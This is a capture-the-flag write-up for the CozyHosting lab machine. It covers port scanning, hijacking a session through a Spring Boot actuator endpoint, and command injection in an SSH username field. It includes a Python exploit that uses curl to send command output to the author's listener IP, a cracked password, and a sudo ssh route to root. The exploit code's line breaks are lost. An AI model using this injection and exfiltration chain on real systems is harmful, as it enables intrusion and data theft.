sudo nmap -p22,80 -A -oA nmap 10.10.11.230
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 13:43 EDT
Nmap scan report for 10.10.11.230
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 36.24 ms 10.10.14.1
2 36.62 ms 10.10.11.230
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.26 seconds
Wapalyzer
Wapalyzer detect it is Java application it could be SpringBoot framework as it is most popular one in Java
Actuator endpoints are debuging information for example sessions endpoints allows retrieval and deletion of user sessions from a Spring Session-backed session store. Requires a servlet-based web application that uses Spring Session.
Docs:
Auth bypass
Stolen session allows accessing /admin endpoint
Request:
Exploitation
Admin dashboard allows SSH connection to previously configured hosts.
By adding ; username it throws error implying that is executed by bash directly.
Some output can be extracted by using $(command) syntax.
When trying to execute more complex command application throws error that Username can't contain whitespaces
But this can be bypassed by using ${IFS} shell variable as this stand for separator so command $(ls${IFS}/) results in valid command.
Exploit
import concurrent.futuresfrom threading import Threadimport requestsimport cmdfrom http.server import BaseHTTPRequestHandler, HTTPServer, ThreadingHTTPServerimport socketserverimport base64IP='0.0.0.0'PORT=8000URL='http://cozyhosting.htb/executessh'PROXY ={'http':'http://127.0.0.1:8080'}COOKIES={'JSESSIONID':'B4CB94691CEF79C8F83C1C5505C0B230'}defhatfuServer(): webServer =HTTPServer((IP, PORT), CatchServer)#webServer.serve_forever()defhandle_request(webServer):with webServer: webServer.serve_forever() thread =Thread(target=handle_request, args=(webServer,)) thread.daemon=True thread.start()return webServerclassCatchServer(BaseHTTPRequestHandler):deflog_request(self,code):passdefdo_GET(self): self.send_response(200, "A Chuj Ci w Dupe") self.send_header('Connection', 'Close') self.end_headers()#data = base64.b64decode(self.path.split('=')[1]) data = self.path.split('=')[1] data = data +'='* (len(data)%4) data = base64.b64decode(data).decode().strip()print(data, flush=True)defdo_POST(self): self.send_response(200, "A Chuj Ci w Dupe") self.send_header('Connection', 'Close') self.end_headers() data = self.path.split('=')[1]print(data, flush=True)classExploit(cmd.Cmd): prompt='> 'defdefault(self,line): payload=line.replace(' ','${IFS}') r = requests.post(URL, data={'host': '127.0.0.1', 'username':';$(curl${IFS}http://10.10.14.156:8000/a?data='+f'$({payload}|base64));'}, proxies=PROXY, cookies=COOKIES)
try: webServer =hatfuServer()Exploit().cmdloop()exceptKeyboardInterrupt: webServer.server_close()print('naura')
To make exploitation easier I wrote some exploit in python to automate code execution.
Privilege Escalation
In app directory there is jar source file. After unziping it and grep'ing files I found password and login.
Database contained password hasehs of two users kanderson and admin
Admin password is crackable.
admin:manchesterunited
This credential can be reused to login to josh account
Root
Josh user can run ssh binary with root permission. This can be exploited by gaining root shell
GET /admin HTTP/1.1Host:cozyhosting.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Cookie:=A51BB440D8F95FB64E56DE075783F95CAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateConnection:closeUpgrade-Insecure-Requests:1